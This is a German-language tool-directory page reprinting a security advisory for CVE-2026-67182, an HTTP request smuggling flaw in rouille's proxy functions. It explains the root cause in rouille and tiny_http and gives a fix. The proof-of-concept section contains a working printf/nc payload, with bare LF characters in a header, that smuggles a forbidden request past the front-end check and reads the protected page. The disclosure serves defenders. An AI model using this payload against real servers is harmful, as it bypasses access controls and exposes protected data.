Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 23 TagenNoch nicht geprüft

Sicherheitshinweis: HTTP-Request-Smuggling ermöglicht Umgehung der Frontend-Zugriffskontrolle (rouille)

Zugewiesene CVE-ID: CVE-2026-67182

Zusammenfassung

rouille::proxy::proxy und rouille::proxy::full_proxy kopieren vom Client gelieferte Anfrage-Headerwerte in die Upstream-Verbindung, ohne sie auf Steuerzeichen zu prüfen. Ein Headerwert kann legitimerweise einen bloßen Zeilenvorschub (0x0A) enthalten, da der zugrunde liegende tiny_http-Headerparser eine Headerzeile nur bei CRLF beendet. Backends, die ein bloßes LF als Zeilenabschluss akzeptieren, lesen daher eine Frontend-Anfrage als zwei.

Die zweite Anfrage ist vollständig vom Angreifer kontrolliert, einschließlich Methode und Pfad, und passiert nie den Rouille-Handler, der entschieden hat, die erste als Proxy weiterzuleiten. Ihr Antworttext wird ebenfalls an den Angreifer zurückgegeben.

Betroffene Versionen

Repository-URL: https://github.com/tomaka/rouille

Erstmals betroffen0.3.3 (2016-12-03), die Veröffentlichung, die src/proxy.rs einführte
Zuletzt betroffen3.6.2 (2023-04-24), die aktuelle Veröffentlichung
Nicht betroffen0.3.2 und früher, die kein Proxy-Modul haben
Behoben inzum Zeitpunkt des Schreibens keine behobene Version

Jede veröffentlichte Version von 0.3.3 bis 3.6.2 enthält den unveränderten Code. Die Datei src/proxy.rs ist zwischen dem Tag 3.6.2 und dem aktuellen master-Zweig byteidentisch.

Nur Anwendungen, die proxy::proxy oder proxy::full_proxy aufrufen, sind betroffen.

Schweregrad

CWE-444 (Inkonsistente Interpretation von HTTP-Anfragen), erreicht über CWE-113 (Unzureichende Neutralisierung von CRLF-Sequenzen in HTTP-Headern).

CVSS-4.0-Basis-Score 6.9 (Mittel) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

Bedrohungsmodell

Der Angreifer ist ein entfernter, nicht authentifizierter Client, der rohes HTTP an einen Rouille-Server senden kann. Es sind keine Anmeldedaten, keine Benutzerinteraktion und keine Position im Netzwerk zwischen den Komponenten erforderlich.

Das gefährdete Szenario ist eine Rouille-Anwendung, die als Reverse-Proxy agiert und vor dem Aufruf von proxy() eine Sicherheitsentscheidung trifft (Routing, Authentifizierung, Autorisierung oder Inhaltsfilterung), vor einem Backend, dessen HTTP-Parser ein bloßes LF als Headerzeilenabschluss akzeptiert.

Gemessenes Backend-Verhalten:

nginx und Apache wurden nicht getestet. RFC 9112 Abschnitt 2.2 erlaubt es einem Empfänger, ein einzelnes LF als Zeilenabschluss zu erkennen; die akzeptierenden Backends verhalten sich also spezifikationskonform.

Grundursache

rouille/src/proxy.rs, Zeilen 157 bis 174:

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

Zeile 171 ist die Senke. value ist nicht vertrauenswürdig und wird ohne Validierung geschrieben.

Die Verunreinigung (Taint) gelangt über tiny_http hinein. In tiny_http-0.12.0/src/client.rs, Zeilen 80 bis 102, endet eine Headerzeile nur, wenn auf ein CR ein LF folgt:

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

Ein einzelnes LF fällt bis Zeile 100 durch und wird in den Zeilenpuffer geschoben. LF ist gültiges ASCII, daher akzeptiert AsciiString::from_ascii es. Header::from_str in tiny_http-0.12.0/src/common.rs Zeile 184 trimmt den Wert dann nur, was führende und abschließende Leerzeichen entfernt, aber innere Bytes unangetastet lässt:

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

Das Ergebnis ist ein Rouille-Headerwert, der ein rohes \n enthält, das Zeile 171 von proxy.rs direkt in die Upstream-Anfrage schreibt.

Connection: close in Zeile 173 begrenzt den Schaden nicht. Die injizierte Leerzeile beendet die erste Anfrage, bevor Zeile 173 ausgeführt wird, sodass dieser Header in der geschmuggelten Anfrage absorbiert wird. Die erste Anfrage trägt keinen Connection-Header und verwendet standardmäßig HTTP/1.1-Keep-Alive – genau das ermöglicht es dem Backend, die zweite Anfrage weiter zu verarbeiten.

Proof of Concept

Schritt 1. Erstellen Sie ein Backend-Dokumentstammverzeichnis mit einer öffentlichen Datei und einer Datei, die der Proxy schützen soll.

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

Schritt 2. Starten Sie ein Keep-Alive-Backend auf Port 8001.

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

Schritt 3. Starten Sie das Rouille-Frontend auf Port 8000. Es leitet /public/ als Proxy weiter und verweigert alles andere.

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Schritt 4. Bestätigen Sie, dass die Zugriffskontrolle funktioniert.

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

Schritt 5. Senden Sie eine einzelne Anfrage für den erlaubten Pfad mit einem bloßen LF innerhalb eines Headerwerts. Im folgenden Befehl ist \n ein bloßer Zeilenvorschub und \r\n ein CRLF. Der Unterschied ist der gesamte Angriff; lassen Sie also keinen Editor das normalisieren.

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

Ergebnis. Das Backend-Protokoll zeigt zwei Anfragen, wobei die zweite der Pfad ist, den das Frontend in Schritt 4 verweigert hat:

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

Der Angreifer erhält außerdem den geschützten Inhalt, weil Zeile 224 von src/proxy.rs den Rest des Upstream-Sockets in den Antworttext umwandelt:

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

Auswirkungen

Ein nicht authentifizierter Client kann eine beliebige Anfrage an das Backend senden und deren Antwort lesen, während der Rouille-Handler stets nur die erlaubte Anfrage sieht. Dies macht eine pfadbasierte Zugriffskontrolle, eine im Handler durchgeführte Authentifizierung und jede vor dem Aufruf von proxy() erfolgte Anfrageprüfung zunichte.

Zwei Einschränkungen sind erwähnenswert. proxy() öffnet pro Anfrage eine frische TCP-Verbindung und betreibt kein Pooling, daher erzeugt dies nicht die benutzerübergreifende Request-Queue-Vergiftung, die mit klassischem Smuggling verbunden ist. Der Angriff benötigt außerdem ein LF-tolerantes Backend, wie oben gemessen.

Abhilfe

Lehnen Sie Headernamen und -werte, die Steuerzeichen enthalten, ab, bevor Sie sie upstream schreiben. In src/proxy.rs, innerhalb der Schleife in Zeile 157:

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
Tool herunterladen
BackendGetestete VersionAkzeptiert das injizierte LF
Go net/httpgo1.26.4ja, bedient die geschmuggelte Anfrage
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13ja, bedient die geschmuggelte Anfrage
Node.jsv26.3.0nein, gibt 400 zurück (llhttp-Strict-Modus)
PHP-eingebauter Server8.5.8nein, bricht die Verbindung ab